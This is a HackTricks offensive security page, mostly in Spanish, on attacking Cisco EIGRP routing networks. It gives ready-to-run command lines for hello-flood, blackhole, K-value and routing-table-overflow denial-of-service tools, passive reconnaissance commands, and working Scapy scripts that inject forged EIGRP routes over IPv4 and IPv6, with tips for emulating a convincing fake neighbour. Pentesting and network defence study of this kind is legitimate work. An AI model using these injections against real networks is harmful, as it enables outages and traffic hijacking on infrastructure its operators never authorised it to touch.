EIGRP Attacks
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
This is a summary of the attacks exposed in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Check it for further information.
Fake EIGRP Neighbors Attack
- Objective: Sobrecargar las CPUs de los routers inundándolos con paquetes HELLO de EIGRP, lo que puede llevar a un Denial of Service (DoS).
- Tool: helloflooding.py script.
- Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
- Parameters:
--interface: Especifica la interfaz de red, p.ej.,eth0.--as: Define el número del autonomous system (AS) de EIGRP, p.ej.,1.--subnet: Establece la ubicación de la subred, p.ej.,10.10.100.0/24.
EIGRP Blackhole Attack
- Objective: Interrumpir el flujo de tráfico de la red inyectando una ruta falsa, provocando un blackhole donde el tráfico se dirige a un destino inexistente.
- Tool: routeinject.py script.
- Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
- Parameters:
--interface: Especifica la interfaz del sistema del atacante.--as: Define el número AS de EIGRP.--src: Establece la dirección IP del atacante.--dst: Establece la IP de la subred objetivo.--prefix: Define la máscara de la IP de la subred objetivo.
Abusing K-Values Attack
- Objective: Crear interrupciones y reconexiones continuas dentro del dominio EIGRP inyectando K-values alterados, resultando efectivamente en un DoS.
- Tool: relationshipnightmare.py script.
- Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
- Parameters:
--interface: Especifica la interfaz de red.--as: Define el número AS de EIGRP.--src: Establece la dirección IP de un router legítimo.
Routing Table Overflow Attack
- Objective: Forzar la CPU y la RAM del router inundando la tabla de enrutamiento con numerosas rutas falsas.
- Tool: routingtableoverflow.py script.
- Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
- Parameters:
--interface: Especifica la interfaz de red.--as: Define el número AS de EIGRP.--src: Establece la dirección IP del atacante.
Protocol Notes Useful for Attacks
- HELLO packets carry K-values and neighbors only form when they match. Esto es la base para los ataques de mismatch/relationship disruption de K-values y por qué K-values desajustados previenen la adjacency.
- The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, por lo que capturas pasivas revelan los valores exactos usados en el segmento.
- EIGRP uses IP protocol 88, multicasting to 224.0.0.10 in IPv4 and FF02::A in IPv6. Eso lo hace fácil de detectar con
tcpdump 'ip proto 88 or ip6 proto 88'antes de intentar abuso activo. - Reliable UPDATEs are ordered with sequence / acknowledgement fields and SEQUENCE TLVs. La inyección ciega de rutas por multicast puede funcionar en labs débiles, pero cuando se emula a un vecino real a menudo necesitas rastrear
seq,ack, y la lista de peers que llevan los SEQUENCE TLVs para mantenerte sincronizado con la lógica RTP.
Passive Recon Before Injection
Antes de intentar inyectar rutas, captura un intercambio legítimo HELLO / UPDATE y extrae:
- AS number
- K-values and Hold Time del PARAMETER TLV
- Authentication in use: none, MD5, or HMAC-SHA-256
- Neighbor source address y la subred/interfaz donde EIGRP está activo
- Software / TLV profile (
SOFTWARE_VERSION,STUB,SEQUENCE) para que tus paquetes craftados se parezcan a los routers locales
Useful commands:
# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'
# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery
# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100
El broadcast-eigrp-discovery de Nmap funciona enviando un HELLO a 224.0.0.10 y analizando los paquetes UPDATE devueltos, lo cual es útil para enumerar prefijos antes de intentar una route injection más intrusiva.
Scapy Packet Crafting (Route Injection / Fake Neighbors)
Scapy incluye una capa contrib de EIGRP con TLVs como EIGRPParam y EIGRPIntRoute, lo que es suficiente para crear UPDATEs para route injection. Ejemplo adaptado del script de route injection de EIGRP davidbombal/scapy:
from scapy.all import *
load_contrib("eigrp")
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))
El mismo repo incluye scripts rápidos de “fake neighbor” que sniff un paquete EIGRP real y lo reproducen con una IP de origen suplantada para crear vecinos fantasma (útil para generar presión en CPU/tabla de vecinos).
Scapy también expone primitivas que son útiles cuando necesitas una emulación de mayor fidelidad en lugar de un único UPDATE:
EIGRPAuthDatafor authenticated adjacenciesEIGRPSeqfor sequence / conditional-receive handlingEIGRPStubto mirror observed stub behaviorEIGRPv6IntRoute/EIGRPv6ExtRoutefor IPv6 route injection
Eso importa porque la lógica de transporte fiable suele ser lo que separa un PoC desechable de un fake neighbor que sobrevive el tiempo suficiente para aprender rutas y envenenar la topología.
EIGRP para IPv6
EIGRP para IPv6 es una address-family separada transportada sobre IPv6. Sigue usando el formato de paquete EIGRP / TLVs, pero se habilita directamente en las interfaces y hace multicast a FF02::A. Desde una perspectiva ofensiva, eso significa que un segmento dual-stack puede exponer una superficie de ataque EIGRP incluso cuando la parte IPv4 parece limpia.
Diferencias importantes:
- IPv6 EIGRP is enabled per interface (
ipv6 eigrp <as>), not with IPv4-stylenetworkstatements. - A router ID is still required, so sniffing an active segment usually reveals enough context to mimic a valid peer.
- MD5 authentication exists for EIGRP for IPv6, and modern named mode deployments may also use HMAC-SHA-256, which blocks unauthenticated route injection.
Ejemplo mínimo con Scapy para inyección de rutas IPv6:
from scapy.all import *
load_contrib("eigrp")
send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")
Si el next hop IPv6 dentro del route TLV está puesto a cero, los receptores recurren a la dirección IPv6 de origen en la cabecera del paquete. Eso hace que el spoofing de origen y la correcta asignación de direcciones link-local sean especialmente importantes durante las pruebas de EIGRPv6.
- Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
- Example scripts: https://github.com/davidbombal/scapy
Routopsy & NSE Helpers
- Routopsy construye un laboratorio de ataque con routers virtuales (FRRouting + Scapy) e incluye ataques DRP que puedes adaptar para pruebas de EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
- El NSE de Nmap tiene una pequeña librería
eigrppara analizar/generar un subconjunto de paquetes EIGRP. https://nmap.org/nsedoc/lib/eigrp.html
Authentication Recon
- EIGRP named mode supports HMAC-SHA-256 authentication via
authentication mode hmac-sha-256 .... Si está habilitado, los paquetes creados deben estar autenticados con la clave correcta; si no está habilitado, el spoofing/la inyección es más fácil de validar. - El RFC 7868 también define datos de autenticación MD5 y SHA2-256 dentro del AUTH TLV de EIGRP, por lo que las capturas pasivas te indican rápidamente si un spoofing ciego es realista o si primero necesitas material de clave.
- En EIGRP para IPv6, Cisco también soporta MD5 authentication with key chains. Si se configuran múltiples claves con send/accept lifetimes, reproducir tráfico autenticado obsoleto se vuelve menos fiable porque la clave activa puede rotar sin cambiar el resto del perfil de adyacencia.
References
- https://www.rfc-editor.org/rfc/rfc7868.html
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/15-mt/ire-15-mt-book/ire-sha-256.html
- https://nmap.org/nsedoc/scripts/broadcast-eigrp-discovery.html
- https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


